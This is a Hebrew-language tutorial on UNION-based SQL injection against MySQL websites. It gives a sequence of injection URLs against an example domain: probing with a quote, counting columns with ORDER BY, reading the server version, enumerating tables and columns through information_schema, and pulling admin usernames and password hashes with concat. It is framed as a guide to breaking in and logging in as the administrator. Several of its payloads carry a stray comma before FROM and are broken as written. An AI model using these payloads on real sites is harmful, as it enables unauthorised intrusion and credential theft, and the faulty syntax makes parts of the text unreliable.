לימוד המערכת
כל פריצה מתחילה בשלב של לימוד המערכת. קודם כל, צריך לבדוק האם האתר עצמו הוא פריץ (ניתן לפריצה) או לא. בשביל שאתר יהיה פריץ, צריכים לוודא קודם כל שאכן יש שימוש במסד נתונים (ובשאילתות SQL). כדי לדעת, פשוט נסתכל אל שורת הכתובת. אם שורת הכתובת מכילה פרמטרים משתנים, סביר מאוד להניח שהיא משתמשת בSQL, ולכן – אולי פריצה.
שורה לדוגמא, המכילה פרמטרים משתנים:
http://www.domain.ps/?id=2
1. בדיקה האם האתר פריץ.
כדי לבחון אם האתר פריץ או לא, במקום 2, נוסיף את התו ', וניכנס לעמוד. שורת הכתובת שלנו תיראה עכשיו כך:
'http://www.domain.ps/?id=2
במידה וקיבלנו הודעת שגיאה, שהולכת בערך ככה:
"…You have an error in your SQL syntax; check the manual"
סימן שהאתר פגיע, ואפשר להשתמש בהזרקה רגילה.2. מציאת מספר הטורים בטבלה.אחרי שקיבלנו את הודעת השגיאה, נוריד את ה-' ונשים אחרי הפרמטר (בדוגמא – 2) את המילים "order by 1". ניכנס לתוצאה. לא אמורה להיות הודעת שגיאה. נתחיל ונעלה בהדרגה את המספר שאחרי הorder by עד שתהיה לנו שגיאה כלשהי.
אין שגיאה // http://www.domain.ps/?id=2 order by 1
אין שגיאה // http://www.domain.ps/?id=2 order by 2
אין שגיאה // http://www.domain.ps/?id=2 order by 3
יש שגיאה! // http://www.domain.ps/?id=2 order by 4
נניח וכשהכנסנו את order by 4 הייתה שגיאה. (משהו בסגנון Unknown column '4' in 'order clause'). זה אומר שיש לנו 3 טורים סה"כ (יכולים להיות הרבה יותר).3. בחירת מידע עם Union.הפונקציה UNION עוזרת לנו לבחור הרבה מידע עם מעט טקסט.
http://www.domain.ps/?id=2 union all select 1,2,3
שימו לב שגילינו בסעיף 2 שיש לנו 3 טורים. יכולים להיות הרבה יותר.אם הכל הלך כמו שצריך, אנחנו אמורים לראות את אחד (או יותר) מהמספרים על המסך. (כלומר 1,2,3)
4. מציאת גרסאת הMySQL על השרת.
אם הכל הלך כמו שצריך עד עכשיו, אז גם השלב הבא צריך לעבור חלק. היה לנו עד עכשיו -
http://www.domain.ps/?id=2 union all select 1,2,3
ונניח שהופיע לנו המספר 2 על המסך. אז אנחנו נוסיף את הפונקציה ()version או version@@ (שימו לב לכתוב נכון) במקום המספר שהופיע על המסך, בשביל לרשום את הגרסא של הMySQL במקומו על המסך. שורת הכתובת שלנו צריכה להראות בערך כך -
http://www.domain.ps/?id=2 union all select 1,@@version,3
כיום, ישנן שתי גרסאות נפוצות של MySQL. גרסא ארבע וגרסא חמש. המספר 2 צריך להתחלף בעמוד עצמו למספר הגרסא – שזה אומר או ל-4 או ל-5 (נקודה משהו משהו…) אבל לנו משנה רק הספרה הראשונה – ארבע או חמש.במידה ומשהו השתבש, ואנחנו רואים ארור שהולך בערך ככה:
"union + illegal mix of collations (IMPLICIT + COERCIBLE) …"
אז אנחנו צריכים להשתמש בפונקציית convert(), ובעצם להחליף את הפונקציה שהייתה לנו בשורת הכתובת בפונקציה שעברה שינוי. שורת הכתובת שלנו צריכה להראות בערך כך -
http://www.domain.ps/?id=2 union all select 1,convert(@@version using latin1),3
או, אפשרות נוספת היא להשתמש בhex() ובunhex(), כך:
http://www.domain.ps/?id=2 union all select 1,unhex(hex(@@version)),3
ואז תראו את הגרסא של הMySQL.
שלב 2
עכשיו החיים נעשים קשים יותר…
>> אם הגרסא של הMySQL היא 4 (אם היא 5 – רדו למטה)
נחזיר בשורת הכתובת את המספר החסר (אצלנו זה היה 2) ונכניס גם את המילים from ואז את שם הטבלה.
http://www.domain.ps/?id=2 union all select 1,2,3, from admin
במקרה הזה (גרסא 4) תצטרכו לנחש את שם הטבלה ואת שמות הטורים ברוב המקרים. שמות טבלאות נפוצים (מאוד) הם:
…user/s, member/s, admin/s
ושמות נפוצים לטורים הם:
user/s, username,user_name,usr, password, pwd, pass, passwd וכו'.
אם לא קיבלתם שום שגיאה, (ואתם שוב רואים את המסך המוכר עם אחד המספרים על המסך), סימן שניחשתם נכון והטבלה קיימת. אם לא, פשוט צריך להמשיך לנחש…
אחרי שמצאנו את הטבלה (נניח והיא admin), אנחנו מתחילים לנחש את שם הטור. במקום המספר שנמצא על המסך (בדוגמא שלנו זה 2), נתחיל לנחש את שם הטור, ככה:
http://www.domain.ps/?id=2 union all select 1,username, 3, from admin
במידה וניחשנו נכון, צריך להופיע לנו על המסך שם המשתמש. עכשיו עושים את אותו הדבר עם הסיסמא ומנחשים את שם הטור:
http://www.domain.ps/?id=2 union all select 1,password, 3, from admin
אם יש שגיאה, אז מנחשים משהו אחר. למשל pwd או כל קיצור אחר שיכול להיות. אם ניחשנו נכון, צריכה להופיע לנו הסיסמא על המסך.
עכשיו יכול להיות שהיא תהיה מוצפנת (בעזרת פונקציית גיבוב כמו md5).
בשביל לסדר את זה בצורה נוחה, נשתמש בפונקציה ()concat שבעצם מחברת בין מחרוזות. נחבר בין מחרוזת שם המשתמש, התו נקודותיים (
והסיסמא, כך:
http://www.domain.ps/?id=2 union all select 1,concat(username,0x3a,password), 3, from admin
ועכשיו אפשר להיכנס בתור משתמש כל יכול מנהל וכו'.
>> במידה וגרסאת הMySQL היא 5
אז נשתמש בטבלת information_schema.tables המסופקת עם הגרסא החדשה, שמכילה את כל שמות הטבלאות. נכתוב בשורת הכתובת:
http://www.domain.ps/?id=2 union all select 1,table_name, 3, from information_schema.tables
אנחנו אמורים לראות את שמות כל הטבלאות במסד הנתונים.
נסדר טיפה את התוצאות, בכך שניקח מהן רק תוצאה אחת, ונתחיל מהתוצאה ה-0. כלומר, רק התוצאה הראשונה:
http://www.domain.ps/?id=2 union all select 1,table_name, 3, from information_schema.tables limit 0,1
במידה והטבלה שלנו לא מספקת, אז אפשר תמיד להמשיך ולהגדיל את המספרים בlimit – כלומר, לקחת תוצאה אחת החל מהתוצאה השלישית (3,1) או לקחת שלוש תוצאות החל מהתוצאה הרביעית (4,3) וכו', עד שאנחנו מגיעים למשהו מועיל כמו admins או poll_users וכו'.
בשביל לגלות את שם הטור, נשתמש באותה שיטה:
http://www.domain.ps/?id=2 union all select 1,column_name, 3, from information_schema.columns limit 0,1
וכו', עד שאנחנו יודעים גם את שם הטור.
נניח ונרצה להציג רק את הטורים של טבלה ספציפית (נקרא לה users, למשל), נכניס את השורה הבאה (עם השינויים המתאימים כמובן):
http://www.domain.ps/?id=2 union all select 1,column_name, 3, from information_schema.columns where table_name='users'
ונניח שמצאנו את שם הטבלה ואת שמות הטורים, כל מה שנותר לנו לעשות זה לחבר את הטורים יחדיו עם הפונקציה ()concat, כמו שהוסבר במקטע לגרסא 4:
http://www.domain.ps/?id=2 union all select 1,concat(username,0x3a,password), 3, from admin
ויש לנו שם משתמש וסיסמא…
קרדיט לאתר : http://krooc.com/